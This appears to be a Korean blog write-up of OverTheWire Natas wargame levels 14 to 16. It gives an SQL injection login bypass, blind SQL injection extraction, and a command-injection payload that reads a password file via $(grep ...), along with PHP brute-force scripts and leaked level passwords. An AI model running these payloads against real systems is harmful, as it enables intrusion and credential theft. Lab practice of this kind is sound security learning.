Natas14 -> 15
이번문제는 뭔가 로그인을 해야하는 것 처럼 보인다..
소스를 먼저 분석해보자!
오! sql 인젝션 문제 인것 같다.!! 많이 풀어본 문제니깐 쉽게 풀 수 있을듯!
일단 분석해보면 쿼리문을 돌려서 username 과 password 가 넘어가고 일치하는
데이터를 찾으면 패스워드를 보여주는 것 같다.
아마도 username 은 natas15로 추정된다.
그럼 쿼리문을 우회해서 한번 작성해보자
SELECT * from users where username=\"".$_REQUEST["username"]."\" and password=\"".$_REQUEST["password"]."\"
위와같은 쿼리문이니깐 username 데이터에 natas15만 주고 뒤에는 주석 처리하면
natas15가 참이니깐...!
클리어!
natas15 : AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J
Natas14 -> 15
이번엔 패스워드 입력창이 안보인다..
소스를 분석해보니 natas14 와 비슷하지만.. 결과 값은 안보여준다
그럼 우리가 생각해볼 수 있는건
Blind Injection!!!
이유는 값이 있으면
This user exists.
없으면
This user doesn`t exists.
역시나 natas16 이 존재하는 것을 확인
쿼리를 분석해서 한번 넘겨보자.
쿼리를 보니 평범한 인젝션 공격인듯 하다..
natas16" and ascii(substr(password,1,1))>0 #
위와같이 넘기면 존재한다고 나올 것이다.
즉 한글자씩 찾을수있다는 것인대.. 중요한 것은 32자 이상이 되는 비밀번호를 찾는것....
그래서 소켓프로그램을 이용해서 찾도록 해보자.
위와같이 소켓 프로그램을
우리가 여태 배웠던 php 를 이용해서 짜보았다.
밑에는 소스
<?php
$stop=0;
for($i=1;$i<32;$i++){
for($ch=47;$ch<124;$ch++){
$sock = socket_create( AF_INET, SOCK_STREAM, 0);
socket_connect($sock,'natas15.natas.labs.overthewire.org',80);
$str = 'username=natas16" and ascii(substr(password,'.$i.',1))='.$ch.'#';
$len=strlen($str);
$request = "POST /index.php HTTP/1.1\r\n";
$request .= "HOST: natas15.natas.labs.overthewire.org\r\n";
$request .= "Authorization: Basic bmF0YXMxNTpBd1dqMHc1Y3Z4clppT05nWjlKNXN0TlZrbXhkazM5Sg==\r\n";
$request .= "Referer: http://natas15.natas.labs.overthewire.org/\r\n";
$request .= "Connection: close\r\n";
$request .= "Content-Type: application/x-www-form-urlencoded\r\n";
$request .= "Content-length: $len\r\n";
$request .= "\r\n";
$request .= 'username=natas16" and ascii(substr(password,'.$i.',1))='.$ch.'#';
socket_send($sock, $request , strlen($request) ,0);
$response='';
socket_recv($sock, $response,65535,0);
if( strstr($response,"This user exists.")){
printf("%c",$ch);
break;
}
}
}
printf("\n");
?>
위와같이 비밀번호를 하나씩 찾아준다.
natas16 : WaIHEacj63wnNIBROHeqi3p9t0m5nhmh
Natas 15 -> 16
음 뭔가 단어를 입력하면 ... 단어가 포함되어 있는 단어들을 보여주는 것 같다.
위와같이 'a' 를 입력해보니 a가 포함되어 있는 단어들이 보여진다.
소스를 분석해보자!
역시 grep 명령어를 통해서 dictionary.txt 이전에 보았던 문제같은대...
필터링이 되어있다..!!
즉 grep 명령어를 우회해서 사용하지 못한다!...
이유는 "" 막아버렸기 때문에 어떤 명령어를 쓰든 단어로 받아 들일것이다..
`` 를사용하면 쿼터로 막혀있어도 명령어를 사용할수 있지만...
`` (명령어 사용) 역시 막혀있다...
그럼 여기서 어떤식으로 우회해야하는가?
바로 $(..) 이다 이명령어는
`` 와 똑같은 역할을 한다! 위를 보고 확인
여기까지는... 알았지만 이제부터 중요하다.. 그럼 어떤식으로 명령어를 넘겨서 사용할 것인가..
정말 많이 고민했다.. 명령어를 사용해도 찾을수가없다...
그러다가 grep 을 통해서 한글자씩 찾아서 넘기면 보여지지 않을까?
라는 생각으로
위와같이 명령어를 넘겨 보니 역시 hello 가 나왔다.
즉 다시 말해 hello 가 나왔다는 것은 hello 앞에 아무 글자도 없다는 소리!
그럼 만약 정확한 비밀번호를 넘긴다면?
이런식으로 나오지 않게 될 것이다!!
역시.. 이문제 역시 소켓 프로그램이 필요할듯 하다...
소스는
<?php
$ans = '';
$str ='';
for($i=1;$i<32;$i++){
for($ch=48;$ch<123;$ch++){
$sock = socket_create( AF_INET, SOCK_STREAM, 0);
socket_connect($sock,'natas16.natas.labs.overthewire.org',80);
$tmp = chr($ch);
$str.=$tmp;
// echo $str;
$request = "GET /?needle=%24%28grep+-E+%5E".$str.".*+%2Fetc%2Fnatas_webpass%2Fnatas17%29hello&submit=Search HTTP/1.1\r\n";
$request .= "HOST: natas16.natas.labs.overthewire.org\r\n";
$request .= "Authorization: Basic bmF0YXMxNjpXYUlIRWFjajYzd25OSUJST0hlcWkzcDl0MG01bmhtaA==\r\n";
// $request .= "Referer: http://natas16.natas.labs.overthewire.org/\r\n";
$request .= "\r\n";
socket_send($sock, $request , strlen($request) ,0);
//socket_strerror(socket_last_error());
$response='';
socket_recv($sock, $response,65535,0);
//echo $response;
if( !strstr($response,"hello")){
$ans = $str;
//$str = $ans;
break;
}
if($ch==57){
$ch = 64;
}
if($ch==90){
$ch = 96;
}
$str = $ans;
}
$str = $ans;
echo $ans;
printf("\n");
}
echo $ans;
printf("\n");
?>
natas17 : 8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw
'WEB_Security(실습) > Natas' 카테고리의 다른 글
Natas ( 21~ 23 ) (0) | 2017.06.27 |
---|---|
Natas (17~20 ) (0) | 2017.06.23 |
Natas(12~ 13) (0) | 2017.06.21 |
Natas(9~11) (0) | 2017.06.20 |
Natas(5~8) (0) | 2017.06.15 |
댓글